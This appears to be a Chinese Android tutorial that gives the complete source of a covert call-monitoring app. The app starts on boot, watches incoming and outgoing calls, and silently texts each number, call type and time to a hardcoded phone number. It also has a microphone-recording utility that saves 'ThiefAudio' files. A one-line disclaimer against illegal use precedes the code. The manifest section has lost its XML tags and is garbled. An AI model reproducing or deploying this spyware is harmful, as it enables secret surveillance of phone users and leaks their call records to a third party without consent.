切记：不可用于非法活动！

      不用编写main.xml文件         在MessageSendUtil.java中：   package com.li.phone;   import java.text.SimpleDateFormat; import java.util.Date;   import android.app.PendingIntent; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager;   public class MessageSendUtil {   private Context context = null;   private Intent intent = null;     public MessageSendUtil(Context context, Intent intent) {      this.context = context;      this.intent = intent;   }       public void send(String recieveNumber, String phoneNumber, String type) {      SmsManager smsManager = SmsManager.getDefault();      PendingIntent sentIntent = PendingIntent.getActivity(this.context, 0,          this.intent, PendingIntent.FLAG_UPDATE_CURRENT);      String content = "电话号码："          + phoneNumber          + " 类型："          + type          + " 操作时间："          + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS")               .format(new Date());      smsManager.sendTextMessage(recieveNumber, null, content, sentIntent,          null);   } }           在PhoneBroadcastReceiver.java中：   package com.li.phone;   import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent;   public class PhoneBroadcastReceiver extends BroadcastReceiver {     @Override   public void onReceive(Context context, Intent intent) {      if (Intent.ACTION_NEW_OUTGOING_CALL.equals(intent.getAction())) { // 去电        String outgoingNumber = intent             .getStringExtra(Intent.EXTRA_PHONE_NUMBER); // 去电号码        Intent pit = new Intent(context, PhoneService.class);        pit.putExtra("outgoingNumber", outgoingNumber);        context.startService(pit);      } else { // 来电        context.startService(new Intent(context, PhoneService.class));      }   }   }         在PhoneService.java中：   package com.li.phone;   import android.app.Service; import android.content.Context; import android.content.Intent; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager;   public class PhoneService extends Service {   private TelephonyManager telephony = null;   private String outgoingNumber = null;   private RecordAudioUtil raUtil = null;   private Intent intent = null ;     @Override   public void onCreate() { // 服务创建的时候操作      super.onCreate();      this.telephony = (TelephonyManager) super          .getSystemService(Context.TELEPHONY_SERVICE);      this.telephony.listen(new PhoneStateListenerImpl(),          PhoneStateListener.LISTEN_CALL_STATE); // 设置监听操作   }     @Override   public void onStart(Intent intent, int startId) {      this.outgoingNumber = intent.getStringExtra("outgoingNumber");      this.intent = intent ;      super.onStart(intent, startId);   }     private class PhoneStateListenerImpl extends PhoneStateListener {        @Override      public void onCallStateChanged(int state, String incomingNumber) {        switch (state) {        case TelephonyManager.CALL_STATE_IDLE: // 挂断电话          if (PhoneService.this.raUtil != null) { // 保险             PhoneService.this.raUtil.stop();             PhoneService.this.raUtil = null;          }          break;        case TelephonyManager.CALL_STATE_RINGING: // 领音响起          new MessageSendUtil(PhoneService.this, PhoneService.this.intent)               .send("13471819361", incomingNumber, "拨入");          break;        case TelephonyManager.CALL_STATE_OFFHOOK: // 接听电话          new MessageSendUtil(PhoneService.this, PhoneService.this.intent)               .send("13471819361", PhoneService.this.outgoingNumber,                    "呼出");          break;        }      }   }     @Override   public IBinder onBind(Intent intent) {      return null;   }   }           在RecordAudioUtil.java中：   package com.li.phone;   import java.io.File; import java.text.SimpleDateFormat; import java.util.Date;   import android.media.MediaRecorder; import android.os.Environment;   public class RecordAudioUtil {   private MediaRecorder mediaRecorder = null;   private String recDir = "theifaudio";   private File recordAudioSaveFileDir = null;   private boolean sdcardExists = false;   private boolean isRecord = false;   private String phoneNumber = null; // 电话号码   private String callType = null; // 呼叫类型     public RecordAudioUtil(String phoneNumber, String callType) {      this.phoneNumber = phoneNumber;      this.callType = callType;      if ((this.sdcardExists = Environment.getExternalStorageState().equals(          Environment.MEDIA_MOUNTED))) {        this.recordAudioSaveFileDir = new File(Environment             .getExternalStorageDirectory().toString()             + File.separator             + this.recDir + File.separator);        if (!this.recordAudioSaveFileDir.exists()) {          this.recordAudioSaveFileDir.mkdirs();        }      }   }     public File record() { // 进行电话的录音，同时返回文件的路径      File recordAudioSaveFile = null;      String recordAudioSaveFileName = null;      if (this.sdcardExists) { // sd卡存在        recordAudioSaveFileName = this.recordAudioSaveFileDir.toString()             + File.separator             + "ThiefAudio_"             + new SimpleDateFormat("yyyyMMddhhmmssSSS")                 .format(new Date()) + "_" + this.callType + "_"             + this.phoneNumber + ".3gp";        recordAudioSaveFile = new File(recordAudioSaveFileName);        this.mediaRecorder = new MediaRecorder();        this.mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);        this.mediaRecorder            .setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);        this.mediaRecorder            .setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);        this.mediaRecorder.setOutputFile(recordAudioSaveFileName);        try {          this.mediaRecorder.prepare();        } catch (Exception e) {          e.printStackTrace() ;        }        this.mediaRecorder.start();        this.isRecord = true;      }      return recordAudioSaveFile;   }     public void stop() {      if (this.isRecord) {        this.mediaRecorder.stop();        this.mediaRecorder.reset() ;        this.mediaRecorder.release();      }   } }         在MyPhoneDemo.java中：   package com.li.phone;   import android.app.Activity; import android.os.Bundle;   public class MyPhoneDemo extends Activity {         @Override     public void onCreate(Bundle savedInstanceState) {         super.onCreate(savedInstanceState);         setContentView(R.layout.main);     } }         修AndroidManifest.xml改：   "http://schemas.android.com/apk/res/android"     package="com.li.phone"     android:versionCode="1"     android:versionName="1.0" >       "8"         android:targetSdkVersion="15" />     "android.permission.READ_PHONE_STATE" />   "android.permission.PROCESS_OUTGOING_CALLS" />   "android.permission.RECORD_AUDIO" />   "android.permission.WRITE_EXTERNAL_STORAGE" />   "android.permission.SEND_SMS">       "@drawable/ic_launcher"         android:label="@string/app_name"         android:theme="@style/AppTheme" >         ".MyPhoneDemo"             android:label="@string/title_activity_my_phone_demo" >                             "android.intent.action.MAIN" />                   "android.intent.category.LAUNCHER" />                              ".PhoneService" />      ".PhoneBroadcastReceiver">                 "android.intent.action.NEW_OUTGOING_CALL" />          "android.intent.action.BOOT_COMPLETED" />          "android.intent.action.PHONE_STATE" />